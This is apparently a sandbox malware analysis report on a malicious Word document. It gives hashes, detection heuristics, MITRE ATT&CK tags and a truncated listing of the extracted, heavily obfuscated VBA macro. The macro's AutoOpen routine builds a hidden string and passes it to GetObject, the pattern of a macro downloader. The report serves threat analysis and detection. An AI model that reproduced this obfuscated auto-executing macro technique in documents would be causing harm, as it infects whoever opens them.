Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f73fd0b80db6f01…

MALICIOUS

Office (OLE)

139.4 KB Created: 2019-04-09 11:37:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 8a5ed32bb7a692919f8fb2bf13edbf22 SHA-1: d6b59bd234a7a93e95aa4e57a76d93a2330392aa SHA-256: 3f73fd0b80db6f017da962bf4342bb449b3c00ead1a32a5b02e9867829e258fd
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of legacy WordBasic auto-exec markers and VBA macros, specifically an AutoOpen macro, indicates malicious intent. The GetObject call within the VBA p-code suggests an attempt to execute code or load external resources. While the exact payload is not discernible from the provided script, the overall pattern points to a macro-based downloader, commonly used in spearphishing attachments.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6935378-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6935378-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7551 bytes
SHA-256: db489b3b5b1c917ef99e6ff942b79b3eef0de6e7f51285ab16d10250fd97a33c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kkAAGQ1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iA4AcA"
Attribute VB_Base = "0{7C8A4825-941C-4994-854C-6E605938A45B}{399398B3-E5B3-4499-9124-1038E7552D7D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D_1AQc"
Attribute VB_Base = "0{41BBE01B-01E3-47EC-9DA7-146B3FD22F79}{5FE824F5-A357-40A0-BAED-D2546415514F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pUQAZA1G"
Function UBGB1UA()
      If IxQ4DAA > IxABAAk Then
      OCAkA1B_ _
= 846513391 - _
ZDAACD
      If ZAGAB_A < _
TAQ_ZAA Then
         Hour _
Rnd _
(uwAAAX)
      End If
   End If
   Set EUUA1Q _
= i4AAGAD
      If WcBUQBC > TQAAQXD Then
      I4wABAA _
= 573283557 - _
HwAAw4
      If icDDCDxU < _
V4DDAZZ Then
         Hour _
Rnd _
(HXAwABx)
      End If
   End If
   Set HQ1DXG _
= pAAAkB1
End Function
Sub autoopen()
WDBAAA
End Sub
Function iAcAUQXA()
      If JAZAAQAx > BADQADA Then
      WcAABX _
= 232589972 - _
PkZZxBQB
      If D1AAQ1BA < _
QUAA_1cx Then
         Hour _
Rnd _
(i1BUCoQA)
      End If
   End If
   Set sAUUQGA4 _
= n4GG4AAx
      If zXQU_AQA > iX_BwUA Then
      QA4BcAA1 _
= 414145683 - _
DAZAAX
      If Ik4ABDAA < _
zAAGAcAD Then
         Hour _
Rnd _
(UokUUA)
      End If
   End If
   Set QAAoAAQU _
= ZAA1__
      If S1AAcwA > okUXkcXQ Then
      jAcxXXA _
= 614833377 - _
vkBQUw
      If UAGDAG < _
nwcAACoA Then
         Hour _
Rnd _
(OBoQAQU)
      End If
   End If
   Set OAAAAxA _
= R41QZAw4
End Function


Attribute VB_Name = "aCcUcACB"
Function TDA_CG()
      If woAUBCUA > XZZwAAAA Then
      jDcBDDC _
= 347098921 - _
EZA1DX
      If RAXQGoDA < _
oAGGAUA Then
         Hour _
Rnd _
(CXxDQAAC)
      End If
   End If
   Set tAXckA _
= jDXXXU
      If mBAAAU > uZBxAUDA Then
      RCoBCAB _
= 627438000 - _
zAAGQAoA
      If fUAXXAAD < _
UwxA_U Then
         Hour _
Rnd _
(CDXQAC_Q)
      End If
   End If
   Set RAAAQxA _
= UUU_A_ZQ
End Function
Function WDBAAA()
On Error Resume Next
      If jBQCUDA > BQXC11 Then
      iUCDxAAA _
= 677686738 - _
Z1B_Z4
      If HZQAAoA < _
YD1AA_AG Then
         Hour _
Rnd _
(zA4A_oD)
      End If
   End If
   Set RUD_QQw _
= Qw1BAoA4
      If YkBAUZ > PAAAUD Then
      fAQADAQ _
= 802607471 - _
jwQQDDAB
      If d1ADUAAA < _
KXAc4A Then
         Hour _
Rnd _
(BAQAxBD1)
      End If
   End If
   Set RXAZDo _
= JAAABAAZ
      If uocBAGA > DUACw4AA Then
      pkUXDCQ _
= 999246609 - _
UckBB_
      If NZABDQ < _
JoAAokcU Then
         Hour _
Rnd _
(jooDGA)
      End If
   End If
   Set DB_UAAA _
= KwAXADQA
U_wXDA = D_1AQc.VBDAAQB + D_1AQc.qUxCAA + D_1AQc.VBDAAQB + D_1AQc.nxAAQwU + D_1AQc.VBDAAQB
      If sAAAAAAx > fZ1CGBQ1 Then
      rDxZAAAA _
= 403035629 - _
oBUUxDZD
      If EXBAAD < _
YAxBAA_ Then
         Hour _
Rnd _
(VXZ41cBA)
      End If
   End If
   Set iQxXQG _
= JAADAw
      If a1AD_44 > WBU_AxDD Then
      jA1cAA _
= 236025334 - _
BGUwUA
      If AZBDAXQ < _
LAcGQA Then
         Hour _
Rnd _
(Aw1AAwX_)
      End If
   End If
   Set l41AQA _
= iCAAQoA
      If vUADCAD > jAAD4Bx Then
      E_UA4k _
= 27812718 - _
zA_oQAc
      If TBAZo1 < _
c_CA44G Then
         Hour _
Rnd _
(rAQ4ACAA)
      End If
   End If
   Set pADUAA _
= LB4ADkB
Set mQwAAAA = GetObject(D_1AQc.VBDAAQB + D_1AQc.qUxCAA + D_1AQc.VBDAAQB + D_1AQc.nxAAQwU + D_1AQc.VBDAAQB + D_1AQc.tDQX4wA1 + D_1AQc.VBDAAQB)
      If sCDAQQ > JwcDkQUA Then
   
... (truncated)

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